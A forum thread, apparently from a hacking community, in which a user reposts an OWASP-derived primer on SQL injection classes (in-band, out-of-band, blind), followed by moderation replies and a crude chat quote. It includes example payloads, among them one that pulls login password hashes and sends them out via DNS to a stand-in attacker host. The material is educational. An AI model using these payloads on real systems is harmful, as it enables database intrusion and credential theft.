Author Topic: SQL injection classes and Types (USEFUL)  (Read 1041 times)

0 Members and 1 Guest are viewing this topic.

Offline MJK7290

  • NULL
  • Posts: 1
  • Cookies: -4
    • View Profile
SQL injection classes and Types (USEFUL)
« on: February 01, 2016, 04:50:54 am »
SQL Injection can be broken up into 3 classes:

Inband - data is extracted using the same channel that is used to inject the SQL code.
This is the most straightforward kind of attack, in which the retrieved data is presented
directly in the application web page

Out-of-Band - data is retrieved using a different channel (e.g.: an email with the results of
the query is generated and sent to the tester)

Inferential - there is no actual transfer of data, but the tester is able to reconstruct the
information by sending particular requests and observing the resulting behaviour of the
website/DB Server.
--------------------------------------------------------------------------------------------------------------



INBAND:
Data is extracted using the same channel that is used to inject the SQL
code.
This is the most straightforward kind of attack, in which the retrieved data is
presented directly in the application web page
So this is our Error-Based, and Union-Based SQL Injections

http://[site]/page.asp?id=1 or 1=convert(int,(USER))--

Syntax error converting the nvarchar value '[j0e]' to a column of data type int.
I



--------------------------------------------------------------------------------------------------------------



OUT-OF-BOUND:
Data is retrieved using a different channel (e.g.: an email with the results of
the query is generated and sent to the tester).
This is another way of getting the data out of the server (such as http, or dns).

http://[site]/page.asp?id=1;declare @host varchar(800); select @host = name + '-' +
master.sys.fn_varbintohexstr(password_hash) + '.2.pwn3dbyj0e.com' from
sys.sql_logins; exec('xp_fileexist ''\\' + @host + '\c$\boot.ini''');--

--------------------------------------------------------------------------------------------------------------



INFERENTIAL:
If the application returns an error message generated by an incorrect query,
then it is easy to reconstruct the logic of the original query and therefore
understand how to perform the injection correctly.
However, if the application hides the error details, then the tester must be
able to reverse engineer the logic of the original query.
The latter case is known as "Blind SQL Injection".

http://[site]/page.asp?id=1;if+not(select+system_user)+<>+'sa'+waitfor+delay+'0:0:10'--

Ask it if it's running as 'sa'


--------------------------------------------------------------------------------------------------------------


SQL Injection Types:

Error-Based SQL Injection
Union-Based SQL Injection
Blind SQL Injection

Error:
Asking the DB a question that will cause an error, and gleening information from the
error.

Union:
The SQL UNION is used to combine the results of two or more SELECT SQL
statements into a single result. Really useful for SQL Injection Smiling

Blind:
Asking the DB a true/false question and using whether valid page returned or not, or by using
the time it took for your valid page to return as the answer to the question.







WHY FOCUS ON MANUAL TESTING INSTEAD OF TOOLS?:
- SQL Injection Scanners will generally look for 1 type of injection.....
- The scanner may tell you the site isn't vulnerable when it really is.

Offline iTpHo3NiX

  • EZ's Pirate Captain
  • Administrator
  • Titan
  • *
  • Posts: 2920
  • Cookies: 328
    • View Profile
    • EvilZone
Re: SQL injection classes and Types (USEFUL)
« Reply #1 on: February 01, 2016, 05:22:56 am »
Please do not post tutorials directly to the High Quality tutorials board. That is reserved for community vetted tutorials.
[09:27] (+lenoch) iTpHo3NiX can even manipulate me to suck dick
[09:27] (+lenoch) oh no that's voluntary
[09:27] (+lenoch) sorry

Offline Kurajber

  • Serf
  • *
  • Posts: 43
  • Cookies: 7
  • Don't Drink and Root
    • View Profile
Re: SQL injection classes and Types (USEFUL)
« Reply #2 on: February 01, 2016, 10:55:17 am »
Also when you copy-paste something like this, you post it in "Found it on the Webs" topic, not Tutorials.

Link: https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)#Summary
0000010100100000